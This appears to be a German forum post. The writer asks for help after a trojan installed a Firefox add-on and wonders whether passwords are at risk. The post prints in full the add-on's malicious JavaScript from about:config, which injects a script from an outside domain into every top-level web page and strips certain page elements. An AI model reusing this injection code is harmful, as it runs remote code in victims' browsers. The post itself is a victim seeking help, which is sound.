Ich hatte letztens einen Trojaner der unter anderem ein Firefox Addon installiert hat.

Dieses hat in about:config einen String Wert mit dem Namen extensions.FaMbl.scode

angelegt.

Der genaue Wert / Inhalt war dieser:

if(window.self.location.protocol.indexOf('http')>-1 && window.self==window.top){var script=document.createElement('script');script.type='text/javascript';script.src='//i.74055djs.info/74055d/javascript.js?channel=p714&hid=0';document.getElementsByTagName("head")[0].appendChild(script);};if(-1==window.self.location.hostname.indexOf('mail.')){for(i=0;5>i;i++)window.setTimeout(function(){document.getElementById('c2soffer')&&document.getElementById('c2soffer').parentNode.removeChild(document.getElementById('c2soffer'))},100*i);var c2soffer=document.querySelectorAll('div.c2soffer');if(c2soffer.length)for(var i=0;i<c2soffer.length;i++)c2soffer[i].parentNode.removeChild(c2soffer[i]);document.getElementById('w3uyh7g6h7f5x')&&document.getElementById('w3uyh7g6h7f5x').parentNode.removeChild(document.getElementById('w3uyh7g6h7f5x'))}

Nach entfernen des Addons und verschiedener Schädlinge mit Avast, Malwarebytes und Housecall konnte ich den Wert zurück setzen ohne dass er sich wieder hergestellt hat.

Was ist aber nun der Inhalt dieses Scripts? Muss ich mir Sorgen um Daten oder Passwörter die ich online eingegeben habe machen sprich sollte ich wichtige Passwd's wie zB von Paypal ändern?

Wie ich das sehe wird

http://i.74055djs.info/74055d/javascript.js?channel=p714&hid=0

eingebunden. Was im Grunde was mit facemoods oder wizebar zu tun hat.

Ich vermute es ist ein Werbunglader.